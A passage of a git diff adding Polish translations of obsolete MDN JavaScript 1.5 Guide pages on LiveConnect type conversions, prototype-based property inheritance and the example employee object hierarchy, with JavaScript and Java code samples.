+<ul><li> Łańcuch JavaScript jest konwertowany przykładem java.lang.String z wartościami ASCII.</li></ul></td> </tr>
+<tr>
+<td><b>byte</b>
+<p><b>double</b><br>
+<b>float</b><br>
+<b>int</b><br>
+<b>long</b><br>
+</p>
+<b>short</b></td>
+<td>Wszystkie wartości są konwertowane do liczb opisanych w ECMA-262.
+Wartości string JavaScript jest konwertowana do liczby stosownie do opisu ECMA-262.</td>
+</tr>
+<tr>
+<td><b>char</b></td>
+<td>JavaScript 1.4:
+<ul><li> jeden znak łańcucha jest konwertowany do znaków Unicode.
+</li><li> wszystkie inne wartości są konwertowane na liczby.<br>
+</li></ul>
+<p>JavaScript 1.3 i wcześniejsze:
+</p>
+<ul><li> Wszystkie wartości są konwertowane na liczby.</li></ul></td> </tr>
+<tr>
+<td><b>boolean</b></td>
+<td>* Pusty łańcuch staje się false.
+<ul><li> Wszystkie inne klucze staną się true.</li></ul></td> </tr>
+</tbody></table>
+<h4 id="Warto.C5.9Bci_niezidentyfikowane" name="Warto.C5.9Bci_niezidentyfikowane"> Wartości niezidentyfikowane </h4>
+<p>Kiedy w JavaScript wartości niezidentyfikowane zmienisz na parametry metod Javy, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Java typ parametru</th>
+<th>Zasady konwersji</th>
+</tr>
+<tr>
+<td><b>lava.lang.String</b><br>
+<b>java.lang.Object</b></td>
+<td>Wartość jest konwertowana do przykładu java.lang.String, którego wartość jest łańcuch "niezdefiniowany".</td>
+</tr>
+<tr>
+<td><b>boolean</b></td>
+<td>Wartość staje się false.</td>
+</tr>
+<tr>
+<td><b>double</b><br>
+<b>float</b></td>
+<td>Wartość staje się NaN.</td>
+</tr>
+<tr>
+<td><b>byte</b><br>
+<p><b>char</b><br>
+<b>int</b><br>
+<b>long</b><br>
+</p>
+<b>short</b></td>
+<td>Wartość staje się 0.</td>
+</tr>
+</tbody></table>
+<p>Konwersja niezdefiniowanej wartości wartość prawdopodobnie w JavaScript 1.3 i późniejszych wersjach. wcześniejsze wersje JavaScript nie dostarczają wartości niezdefiniowanych. </p><p>Kiedy wartość niezdefiniowana JavaScript jest zmieniona na parametr metody Java, która oczekuje na przykład <b>java.lang.String</b>, wartość niezdefiniowana jest konwertowana do wartości string. Użyj operator == do porównania tych konwersji z inną wartością string.
+</p>
+<h4 id="Warto.C5.9B.C4.87_Null" name="Warto.C5.9B.C4.87_Null"> Wartość Null </h4>
+<p>Kiedy w JavaScript wartości null zmienisz na parametry metod Javy, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Java typ parametru</th>
+<th>Zasady konwersji</th>
+</tr>
+<tr>
+<td><b>Jakaś class</b><br>
+<b>Jakiś typ interfejsu</b></td>
+<td>Wartość stanie się null.</td>
+</tr>
+<tr>
+<td><b>byte</b><br>
+<p><b>char</b><br>
+<b>double</b><br>
+<b>float</b><br>
+<b>int</b><br>
+<b>long</b><br>
+</p>
+<b>short</b></td>
+<td>Wartość stanie się 0.</td>
+</tr>
+<tr>
+<td><b>boolean</b></td>
+<td>Wartość stanie się false.</td>
+</tr>
+</tbody></table>
+<h4 id="Obiekty_JavaArray_i_JavaObject" name="Obiekty_JavaArray_i_JavaObject"> Obiekty JavaArray i JavaObject </h4>
+<p>W wielu sytuacjach, kiedy zmieniałeś JavaScript JavaArray lub JavaObject jako parametry metod w Javie, Java prosto rozpakowuje obiekt; w kilku sytuacjach, obiekt jest poprawiany do innego typu danych stosowanych do opisu zasad w następującej tabeli: </p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Java typ parametru</th>
+<th>Zasady konwersji</th>
+</tr>
+<tr>
+<td><b>Jakiś interfejs lub klasa, która przypisuje kompatybilność z rozpakowanym obiekt.</b></td>
+<td>Obiekt jest rozpakowany.</td>
+</tr>
+<tr>
+<td><b>java.lang.String</b></td>
+<td>Obiekt jest rozpakowywany, metoda toString rozpakowanego obiektu Java jest nazywana, i w rezultacie zwrócona jako nowy przykład java.lang.String.</td>
+</tr>
+<tr>
+<td><b>byte</b><br>
+<p><b>char</b><br>
+<b>double</b><br>
+<b>float</b><br>
+<b>int</b><br>
+<b>long</b><br>
+</p>
+<b>short</b></td>
+<td>Obiekt jest rozpakowany, i w następujących dwóch sytuacjach się może to zdarzyć:
+<ul><li> Jeśli rozpakowany obiekt Java posiada metodę doubleValue, to JavaArray lub JavaObject jest konwertowany do wartości powrotu tej metody.
+</li><li> Jeśli rozpakowany obiekt Java nie posiada metody doubleValue, błąd zdarzenia.</li></ul></td> </tr>
+<tr>
+<td><b>boolean</b></td>
+<td>W JavaScript 1.3 i późniejszych wersjach, obiekt jest rozpakowywany i przytrafia się w obu następujących sytuacjach:
+<ul><li> Jeśli obiekt jest null, to jest konwertowany jako false.
+</li><li> Jeśli obiekt ma jakąkolwiek wartość, to jest konwertowany do true.
+</li></ul>
+<p>W JavaScript 1.2 i wcześniejszych wersjach, obiekt jest rozpakowany i zdarza się w obu następujących sytuacjach:
+</p>
+<ul><li> Jeśli rozpakowany obiekt posiada metodę booleanValue, źródło obiektu jest konwertowane do zwracanej wartości.
+</li><li> Jeśli obiekt nie posiada metody booleanValue, konwersja zostanie nie wykonana.</li></ul></td> </tr>
+</tbody></table>
+<p>interfejs lub klasa jest kompatybilnym przypisaniem z rozpakowanego obiektu jeśli obiekt ten jest przykładem typu parametru Javy. To jest, że następująca instrukcja musi zwrócić true: </p>
+<pre>unwrappedObject instanceof parameterType
+</pre>
+<h4 id="Obiekty_JavaClass" name="Obiekty_JavaClass"> Obiekty JavaClass </h4>
+<p>Kiedy w JavaScript obiekt JavaClass zmienisz na parametry metod Javy, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Java typ parametru</th>
+<th>Zasady konwersji</th>
+</tr>
+<tr>
+<td><b>java.lang.Class</b></td>
+<td>Obiekt jest rozpakowany.</td>
+</tr>
+<tr>
+<td><b>java.lang.JSObject</b><br>
+<b>java.lang.Object</b></td>
+<td>Obiekt JavaClass jest pakowany w nowym przykładzie java.lang.JSObject.</td>
+</tr>
+<tr>
+<td><b>java.lang.String</b></td>
+<td>Obiekt jest rozpakowywany, metoda toString rozpakowanego obiektu Java jest nazywana, i w rezultacie zwrócona jako nowy przykład java.lang.String.</td>
+</tr>
+<tr>
+<td><b>boolean</b></td>
+<td>W JavaScript 1.3 i późniejszych wersjach, obiekt jest rozpakowywany i przytrafia się w obu następujących sytuacjach:
+<ul><li> Jeśli obiekt jest null, to jest konwertowany jako false.
+</li><li> Jeśli obiekt ma jakąkolwiek wartość, to jest konwertowany do true.
+</li></ul>
+<p>W JavaScript 1.2 i wcześniejszych wersjach, obiekt jest rozpakowany i zdarza się w obu następujących sytuacjach: </p>
+<ul><li> Jeśli rozpakowany obiekt posiada metodę booleanValue, źródło obiektu jest konwertowane do zwracanej wartości.
+</li><li> Jeśli obiekt nie posiada metody booleanValue, konwersja zostanie nie wykonana.</li></ul></td> </tr>
+</tbody></table>
+<h4 id="Inne_obiekty_JavaScript" name="Inne_obiekty_JavaScript"> Inne obiekty JavaScript </h4>
+<p>Kiedy w JavaScript jakikolwiek obiekt zmienisz na parametry metod Javy, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Java typ parametru</th>
+<th>Zasady konwersji</th>
+</tr>
+<tr>
+<td><b>java.lang.JSObject</b><br>
+<b>java.lang.Object</b></td>
+<td>Obiekt JavaClass jest pakowany w nowym przykładzie java.lang.JSObject.</td>
+</tr>
+<tr>
+<td><b>java.lang.String</b></td>
+<td>Obiekt jest rozpakowywany, metoda toString rozpakowanego obiektu Java jest nazywana, i w rezultacie zwrócona jako nowy przykład java.lang.String.</td>
+</tr>
+<tr>
+<td><b>byte</b><br>
+<p><b>char</b><br>
+<b>double</b><br>
+<b>float</b><br>
+<b>int</b><br>
+<b>long</b><br>
+</p>
+<b>short</b></td>
+<td>Obiekty są generowane używając wartości logicznej operatora ToPrimitive opisanego w ECMA-262. Użyj ukryty PreferredType z operatorem Number.</td>
+</tr>
+<tr>
+<td><b>boolean</b></td>
+<td>W JavaScript 1.3 i późniejszych wersjach, obiekt jest rozpakowywany i przytrafia się w obu następujących sytuacjach:
+<ul><li> Jeśli obiekt jest null, to jest konwertowany jako false.
+</li><li> Jeśli obiekt ma jakąkolwiek wartość, to jest konwertowany do true.
+</li></ul>
+<p>W JavaScript 1.2 i wcześniejszych wersjach, obiekt jest rozpakowany i zdarza się w obu następujących sytuacjach:
+</p>
+<ul><li> Jeśli rozpakowany obiekt posiada metodę booleanValue, źródło obiektu jest konwertowane do zwracanej wartości.
+</li><li> Jeśli obiekt nie posiada metody booleanValue, konwersja zostanie nie wykonana.</li></ul></td> </tr>
+</tbody></table>
+<p><br>
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions/JavaScript_to_Java_Conversions", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect/Conversiones_de_tipos_de_datos/Conversiones_de_JavaScript_a_Java", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions/JavaScript_to_Java_Conversions" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/index.html
new file mode 100644
index 0000000000..1f4acab46c
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/index.html
@@ -0,0 +1,24 @@
+---
+title: Powrót dziedziczenia własności
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<p>
+</p>
+<h3 id="Powr.C3.B3t_dziedziczenia_w.C5.82asno.C5.9Bci" name="Powr.C3.B3t_dziedziczenia_w.C5.82asno.C5.9Bci"> Powrót dziedziczenia własności </h3>
+<p>W poprzednim temacie zostało opisane jak w JavaScript działają prototypy konstruktorów dostarczające hierarchie i dziedziczenie. Ten temat omawia kilka podtematów, które były konieczne do omówienia we wcześniejszych dyskusjach. </p>
+<dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Powr%c3%b3t_dziedziczenia_w%c5%82a%c5%9bciwo%c5%9bci/Warto%c5%9bci_lokalne_vs._dziedziczone">Wartości lokalne vs. dziedziczone</a>
+</dd><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Powr%c3%b3t_dziedziczenia_w%c5%82a%c5%9bciwo%c5%9bci/Okre%c5%9blanie_wzajemnych_relacji_obiektu">Określanie wzajemnych relacji obiektu</a>
+</dd><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Powr%c3%b3t_dziedziczenia_w%c5%82a%c5%9bciwo%c5%9bci/Globalne_informacje_w_konstruktorach">Globalne informacje w konstruktorach</a>
+</dd><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Powr%c3%b3t_dziedziczenia_w%c5%82a%c5%9bciwo%c5%9bci/Brak_wielokrotnego_dziedziczenia">Brak wielokrotnego dziedziczenia</a>
+</dd></dl>
+<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z przykładem:Więcej elastycznych konstruktorów", "Przewodnik po języku JavaScript 1.5:Powrót dziedziczenia własności:Wartości lokalne vs. dziedziczone") }}
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited", "es": "es/Gu\u00eda_JavaScript_1.5/M\u00e1s_sobre_la_herencia_de_propiedades", "ja": "ja/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/wartości_lokalne_vs._dziedziczone/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/wartości_lokalne_vs._dziedziczone/index.html
new file mode 100644
index 0000000000..c094e90365
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/wartości_lokalne_vs._dziedziczone/index.html
@@ -0,0 +1,71 @@
+---
+title: Wartości lokalne vs. dziedziczone
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności/Wartości_lokalne_vs._dziedziczone
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<p>
+</p>
+<h3 id="Warto.C5.9Bci_lokalne_vs._dziedziczone" name="Warto.C5.9Bci_lokalne_vs._dziedziczone"> Wartości lokalne vs. dziedziczone </h3>
+<p>Gdy korzystasz z dostępu do własności obiektu, JavaScript wykonuje następujące kroki, tak jak opisano w poprzednim rozdziale:
+</p>
+<ol><li> Sprawdza czy wartość istnieje lokalnie. Jeśli tak, to zwraca tę wartość.
+</li><li> Jeśli wartość lokalna nie istnieje, sprawdza łańcuch prototypu (używając własności <code>__proto__</code>).
+</li><li> Jeśli obiekt w łańcuchu prototypu posiada wartość dla określonej wartości, zwraca tę wartość.
+</li><li> Jeśli własność ta nie została odnaleziona, to obiekt nie posiada tej własności.
+</li></ol>
+<p>Rezultat tych kroków zależy od sposobu, w jaki definiujesz rzeczy w kodzie. Oyginalny przykład używał następujących definicji:
+</p>
+<pre>function Employee () {
+this.name = "";
+this.dept = "general";
+}
+
+function WorkerBee () {
+this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+<p>Przypuśćmy, że wraz z tymi definicjami utworzyłeś <code>amy</code> jako instancję <code>WorkerBee</code> za pomocą poniższej instrukcji:
+</p>
+<pre>amy = new WorkerBee;
+</pre>
+<p>Obiekt <code>amy</code> posiada jedną lokalną własność, <code>projects</code>. Wartości własności <code>name</code> i <code>dept</code> nie są lokalne dla <code>amy</code> i dlatego są pobrane z własności <code>__proto__</code> obiektu <code>amy</code>. W ten sposób <code>amy</code> posiada następujące wartości własności:
+</p>
+<pre>amy.name == "";
+amy.dept = "general";
+amy.projects == [];
+</pre>
+<p>Teraz przypuśćmy, że zmienisz wartość własności <code>name</code> w prototypie powiązanym z <code>Employee</code>:
+</p>
+<pre>Employee.prototype.name = "Unknown"
+</pre>
+<p>Na pierwszy rzut oka może Ci sie wydawać, że nowa wartość zostanie przekazana dalej do wszystkich instancji <code>Employee</code>. Nie dzieje się tak.
+</p><p>Gdy tworzysz <i>dowolną</i> instancję obiektu <code>Employee</code>, instancja ta otrzymuje lokalną wartość dla własności <code>name</code> (pusty ciąg znaków). Oznacza to, że gdy ustawisz prototyp <code>WorkerBee</code> poprzez utworzenie nowego obiektu <code>Employee</code>, <code>WorkerBee.prototype</code> posiada lokalną wartość dla własności <code>name</code>. Dlatego więc, gdy JavaScript sprawdza własność <code>name</code> obiektu <code>amy</code> (instancji <code>WorkerBee</code>), JavaScript znajduje lokalną wartość dla tej własności w <code>WorkerBee.prototype</code>. Dlatego też nie sprawdza on łańcucha dalej aż do <code>Employee.prototype</code>.
+</p><p>Jeśli chcesz zmienić wartość własności obiektu w momencie uruchomienia i sprawić, by była ona dziedziczona przez wszystkich potomków obiektu, nie możesz zdefiniować własności w funkcji konstruktora obiektu. Zamiast tego dodaj ją do prototypu powiązanego z konstruktorem. Na przykład, zakładając zmianę poprzedniego kodu na poniższy:
+</p>
+<pre>function Employee () {
+ this.dept = "general";
+}
+Employee.prototype.name = "";
+
+function WorkerBee () {
+this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+
+amy = new WorkerBee;
+
+Employee.prototype.name = "Unknown";
+</pre>
+<p>W tym wypadku własność <code>name</code> obiektu <code>amy</code> przyjmuje wartość "Unknown".
+</p><p>Jak pokazuję powyższe przykłady, jeśli chcesz zachować domyślne wartości dla własności obiektu i móc zmienić domyślne wartości w momencie uruchomienia, powinieneś utworzyć własności w prototypie konstruktora, a nie w samej funkcji konstruktora.
+{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Powrót dziedziczenia własności", "Przewodnik po języku JavaScript 1.5:Powrót dziedziczenia własności:Określanie wzajemnych relacji obiektu") }}
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/Local_versus_Inherited_Values", "es": "es/Gu\u00eda_JavaScript_1.5/M\u00e1s_sobre_la_herencia_de_propiedades/Valores_locales_frente_a_los_heredados", "ja": "ja/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/Local_versus_Inherited_Values" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/index.html
new file mode 100644
index 0000000000..28e5f9255c
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/index.html
@@ -0,0 +1,37 @@
+---
+title: Praca z przykładem
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Przyk.C5.82ad_obiektu_Pracownik" name="Przyk.C5.82ad_obiektu_Pracownik">Przykład obiektu Pracownik</h3>
+<p>Dalsza część tego rozdziału opiera się na hierarchii pracowników przedstawionej na poniższym rysunku.</p>
+<p><img alt="Grafika:hier01.png"></p>
+<p><small><b>Rysunek 8.1: Prosta hierarchia obiektu</b></small></p>
+<p>W przykładzie tym zostały użyte następujące obiekty:</p>
+<ul>
+ <li>Pracownik posiada własność imie (której domyślną wartością jest pusty łańcuch znaków) i dept (z domyślną wartością "ogólny").</li>
+ <li>Manager jest oparty na Pracowniku. Dodaje własność raporty (której domyślną wartością jest pusta tablica mająca w zamierzeniu przyjmować obiekty Pracownik jako swoje wartości).</li>
+ <li>Robotnik również jest oparty na Pracowniku. Dodaje własność projekty (której domyślną wartością jest pusta tablica mająca w zamierzeniu przyjmować łańcuchy znaków jako swoje wartości).</li>
+ <li>Sprzedawca jest oparty na Robotniku. Dodaje on własność przydzial (z domyślną wartością 100). Nadpisuje on również własność dept wartością "sprzedaż" wskazując, że wszyscy sprzedawcy są w tym samym dziale.</li>
+ <li>Inzynier jest oparty na Robotniku. Dodaje własność maszyna (której domyślną wartością jest pusty łańcuch znaków) oraz nadpisuje własność dept wartością "inżynieria".</li>
+</ul>
+<p>Pozostała część przykładu:</p>
+<ul>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/Tworzenie_hierarchii">Tworzenie hierarchii</a></li>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/W%c5%82a%c5%9bciwo%c5%9bci_obiektu">Właściwości obiektu</a>
+ <ul>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/W%c5%82a%c5%9bciwo%c5%9bci_obiektu/Dziedziczenie_w%c5%82a%c5%9bciwo%c5%9bci">Dziedziczenie właściwości</a></li>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/W%c5%82a%c5%9bciwo%c5%9bci_obiektu/Dodawanie_w%c5%82a%c5%9bciwo%c5%9bci">Dodawanie właściwości</a></li>
+ </ul>
+ </li>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/Wi%c4%99cej_elastycznych_konstruktor%c3%b3w">Więcej elastycznych konstruktorów</a></li>
+</ul>
+<div class="noinclude">
+ <p>{{ PreviousNext("Przewodnik_po_języku_JavaScript_1.5:Języki_oparte_na_klasach_vs._oparte_na_prototypach", "Przewodnik_po_języku_JavaScript_1.5:Praca_z_przykładem:Tworzenie_hierarchii") }}</p>
+</div>
+<p> </p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/tworzenie_hierarchii/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/tworzenie_hierarchii/index.html
new file mode 100644
index 0000000000..a15422c92d
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/tworzenie_hierarchii/index.html
@@ -0,0 +1,149 @@
+---
+title: Tworzenie hierarchii
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Tworzenie_hierarchii
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Tworzenie_hierarchii" name="Tworzenie_hierarchii">Tworzenie hierarchii</h3>
+<p>Istnieje kilka sposobów zdefiniowania odpowiednich funkcji konstruktora do zaimplementowania hierarchii Pracownik. To w jaki sposób zdecydujesz się je zdefiniować zależy głównie od tego, co chcesz zrobić w swojej aplikacji.</p>
+<p>Ten fragment pokazuje jak użyć prostych (i stosunkowo mało elastycznych) definicji w celu zademonstrowania dziedziczenia. W tych definicjach nie możesz określić żadnych wartości własności podczas tworzenia obiektu. Nowo utworzony obiekt po prostu otrzymuje wartości domyślne, które możesz zmienić później. Rysunek 8.2 ilustruje hierarchię wraz z tymi prostymi definicjami.</p>
+<p>W prawdziwej aplikacji zdefiniowałbyś prawdopodobnie konstruktory, które pozwoliłyby Ci na zapewnienie własnościom wartości w czasie tworzenia obiektu (zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/Wi%c4%99cej_elastycznych_konstruktor%c3%b3w">więcej elastycznych konstruktorów</a>, aby uzyskać więcej informacji). Na chwilę obecną te proste definicje zademonstrują jak objawia się dziedziczenie.</p>
+<p><img alt="Grafika:hier02.png"><br>
+ <small><b>Rysunek 8.2: Definicje obiektu Pracownik</b></small></p>
+<p>Poniższe definicje obiektu <code>Pracownik</code> w Javie i JavaScripcie są podobne. Różnią się one jedynie tym, że w Javie musisz określić typ każdej własności (w przeciwieństwie do JavaScriptu) oraz musisz stworzyć wyraźną metodę konstruktora dla klasy Javy.</p>
+<p>&lt;/tr&gt;</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>JavaScript</th>
+ <th>Java</th>
+ </tr>
+ <tr>
+ <td>
+ <pre>
+function Pracownik () {
+this.imie = "";
+this.dept = "ogólny";
+}
+</pre>
+ </td>
+ <td>
+ <pre>
+public class Pracownik {
+ public String imie;
+ public String dept;
+ public Pracownik () {
+ this.imie = "";
+ this.dept = "ogólny";
+ }
+}
+</pre>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p>Definicje <code>Manager</code> i <code>Robotnik</code> pokazuję różnicę w sposobie określania następnego obiektu wyższego w łańcuchu dziedziczenia. W JavaScripcie dodajesz instancję prototypową jako wartość własności prototypu funkcji konstruktora. Możesz do zrobić w dowolnej chwili po zdefiniowaniu konstruktora. W Javie określasz superklasę wewnątrz definicji klasy. Nie możesz zmienić superklasy spoza definicji klasy.</p>
+<p>&lt;/tr&gt;</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>JavaScript</th>
+ <th>Java</th>
+ </tr>
+ <tr>
+ <td>
+ <pre>
+function Manager () {
+this.raporty = [];
+}
+Manager.prototype = new Pracownik;
+
+function Robotnik () {
+this.projekty = [];
+}
+Robotnik.prototype = new Pracownik;
+</pre>
+ </td>
+ <td>
+ <pre>
+public class Manager extends Pracownik {
+ public Employee[] raporty;
+ public Manager () {
+ this.raporty = new Pracownik[0];
+ }
+}
+
+public class Robotnik extends Pracownik {
+ public String[] projekty;
+ public Robotnik () {
+ this.projekty = new String[0];
+ }
+}
+</pre>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p>Definicje <code>Inzynier</code> i <code>Sprzedawca</code> tworzą obiekty, które pochodzą od <code>Robotnik</code> a stamtąd od <code>Pracownik</code>. Obiekt tych typów posiada własności wszystkich obiektów znajdujących się ponad nim w łańcuchu. W dodatku definicje te nadpisują dziedziczoną własność <code>dept</code> nowymi wartościami specyficznymi dla tych obiektów.</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>JavaScript</th>
+ <th>Java</th>
+ </tr>
+ <tr>
+ <td>
+ <pre>
+function Sprzedawca () {
+ this.dept = "sprzedaż";
+ this.przydzial = 100;
+}
+Sprzedawca.prototype = new Robotnik;
+
+function Inzynier () {
+ this.dept = "inżynieria";
+ this.maszyna = "";
+}
+Inzynier.prototype = new Robotnik;
+</pre>
+ </td>
+ <td>
+ <pre>
+public class Sprzedawca extends Robotnik {
+ public double przydzial;
+ public Sprzedawca () {
+ this.dept = "sprzedaż";
+ this.przydzial = 100.0;
+ }
+}
+
+public class Inzynier extends Robotnik {
+ public String maszyna;
+ public Inzynier () {
+ this.dept = "inżynieria";
+ this.maszyna = "";
+ }
+}
+</pre>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p>Używając tych definicji możesz stworzyć instancje tych obiektów, których własności otrzymują domyślne wartości. Rysunek 8.3 ilustruje zastosowanie tych definicji JavaScriptu do zdefiniowania nowych obiektów i pokazuje wartości własności nowych obiektów.</p>
+<p><b>Uwaga:</b> Termin
+ <i>
+ instancja</i>
+ posiada określone techniczne znaczenie w językach opartych na klasach. W językach tych instancja jest pojedynczą składową klasy i jest całkowicie różna od klasy. W JavaScripcie "instancja" nie ma takiego technicznego znaczenia, ponieważ JavaScript nie posiada tej różnicy między klasami a instancjami. Jednak, mówiąc o JavaScripcie, "instancja" może być użyta nieformalnie w znaczeniu obiektu utworzonego za pomocą konkretnej funkcji konstruktora. Dlatego w tym przykładzie mógłbyś nieformalnie stwierdzić, że <code>janina</code> jest instancją <code>Inzynier</code>. Podobnie chociaż terminy
+ <i>
+ rodzic, dziecko, przodek</i>
+ i
+ <i>
+ potomek</i>
+ nie mają formalnego znaczenia w JavaScripcie, możesz użyć ich nieformalnie, aby odnieść się do obiektów znajdujących się wyżej lub niżej w łańcuchu prototypu.</p>
+<p><img alt="Grafika:hier03.png"><br>
+ <small><b>Rysunek 8.3: Tworzenie obiektów z prostymi definicjami</b></small></p>
+<p>{{ PreviousNext("Przewodnik_po_języku_JavaScript_1.5:Praca_z_przykładem", "Przewodnik_po_języku_JavaScript_1.5:Praca_z_przykładem:Własności_obiektu") }}</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dodawanie_własności/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dodawanie_własności/index.html
new file mode 100644
index 0000000000..ec2e836159
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dodawanie_własności/index.html
@@ -0,0 +1,23 @@
+---
+title: Dodawanie własności
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu/Dodawanie_własności
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Dodawanie_w.C5.82asno.C5.9Bci" name="Dodawanie_w.C5.82asno.C5.9Bci">Dodawanie własności</h3>
+<p>W JavaScripcie możesz dodawać własności do dowolnego obiektu w momencie uruchomienia. Nie jesteś zmuszony używać tylko własności dostarczonych przez funkcję konstruktora. Aby dodawać własność, która jest specyficzna dla pewnego obiektu, przypisz wartość do tego obiektu w następujący sposób:</p>
+<pre>mark.bonus = 3000;
+</pre>
+<p>Teraz obiekt <code>mark</code> posiada własność bonus, lecz nie posiadają jej inne obiekty <code>WorkerBee</code>.</p>
+<p>Jeśli dodasz nową własność do obiektu, który jest używany jako prototyp w funkcji konstruktora, dodajesz tę własność do wszystkich obiektów, które dziedziczą własności tego prototypu. Przykładowo, możesz dodać własność <code>specialty</code> dla wszystkich obiektów employee za pomocą następującej instrukcji:</p>
+<pre>Employee.prototype.specialty = "none";
+</pre>
+<p>Gdy tylko JavaScript wykona tę instrukcję, obiekt <code>mark</code> również będzie posiadał własność specialty wraz z wartością "<code>none</code>". Poniższy rysunek pokazuje efekt dodania tej własności do prototypu Employee oraz następnie nadpisania jej prototypem <code>Engineer</code>.</p>
+<p><img alt="Grafika:hier04.gif"><br>
+ <small><b>Rysunek 8.4: Dodawanie własności</b></small> {{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z przykładem:Własności obiektu:Dziedziczenie własności", "Przewodnik po języku JavaScript 1.5:Praca z przykładem:Więcej elastycznych konstruktorów") }}</p>
+<div class="noinclude">
